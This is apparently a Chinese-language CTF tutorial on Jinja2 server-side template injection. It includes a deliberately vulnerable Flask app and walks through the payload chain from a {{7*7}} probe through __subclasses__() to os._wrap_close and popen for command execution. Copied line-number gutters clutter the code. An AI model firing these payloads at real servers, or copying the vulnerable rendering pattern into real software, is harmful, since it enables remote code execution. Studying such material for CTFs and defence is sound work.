https://xz.aliyun.com/news/3311#toc-1
https://xz.aliyun.com/t/9584#toc-32
https://chenlvtang.top/2021/03/31/SSTI%E8%BF%9B%E9%98%B6/
我常用的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from flask import Flask,request from jinja2 import Template
app = Flask(__name__)
@app.route("/") def index(): name = request.args.get('name','CTFer<!--?name=CTFer')
t = Template("hello " + name) return t.render()
if __name__ == "__main__": app.run(host="0.0.0.0",port=10008)
#/?name={{7*7}} 会发现页面返回了49,代表着存在反模板渲染 #这里的渲染等同于在python中运算了print(7*7) #{{}}中的操作会被打印出来 # 一般会用{%%}来替代,但是{%%}不会有回显,在没有数据时会报错 # 可以用{%print(7*7)%}来进行输出 # 你可以理解为,模板注入就是会对你传入的{{}}中的 “python代码” 进行执行 ,或者说是 解析你输入的表达式
#/?name=
|
1 2 3 4 5 6 7 8 9 10 11
| /?name={{7*7}} 会发现页面返回了49,代表着存在反模板渲染
这里的渲染等同于在python中运算了print(7*7)
{{}}中的操作会被打印出来
一般会用`{%%}`来替代,但是`{%%}`不会有回显,在没有数据时会报错
可以用{%print(7*7)%}来进行输出
你可以理解为,模板注入就是会对你传入的{{}}中的 “python代码” 进行执行 ,或者说是 解析你输入的表达式
|
我们可以发现网络上大部分的payload都会利用”” ‘’ [] 来作为开头,我们来看看他在做什么

其实””,’’,[],都是一个对象,我们可以通过一些魔术函数来获取他们的类原型

例如这里,我们就获取了字符串的类原型,我们的目的是获取基类Object,至于为什么需要获取他后需在说
我们可以利用一些魔术方法
1 2 3
| __base__ //返回类的父类
__mro__//获取继承类的数组
|


使用任意一个即可

好的我们获取到基类了,接下来我们可以列出来所有的类,使用一个魔术函数
1
| print("".__class__.__base__.__subclasses__())
|

其中有一个类叫做 os._wrap_close,我们要去看看他其中的方法,这里返回的是一个数组,所以需要知道这个属性的下标是什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import json
classes=""" #把列表放在这 """ num=0 alllist=[] result="" for i in classes: if i==">": result+=i alllist.append(result) result="" elif i=="\n" or i==",": continue else: result+=i
for k,v in enumerate(alllist): if "<class 'os._wrap_close'>" in v: print(str(k)+"--->"+v)
|

在154,那么我们选用这个类,利用魔术函数__init__进行初始化,使用__globals__去获取他的变量属性及函数
1
| print("".__class__.__base__.__subclasses__()[154].__init__.__globals__)
|

popen是一个可以执行命令的函数 system.popen,他这里是一个元组的类型,我们选用该函数
1
| print("".__class__.__base__.__subclasses__()[154].__init__.__globals__["popen"])
|

然后我们使用该函数

如果需要读取回显,在后面加一个read
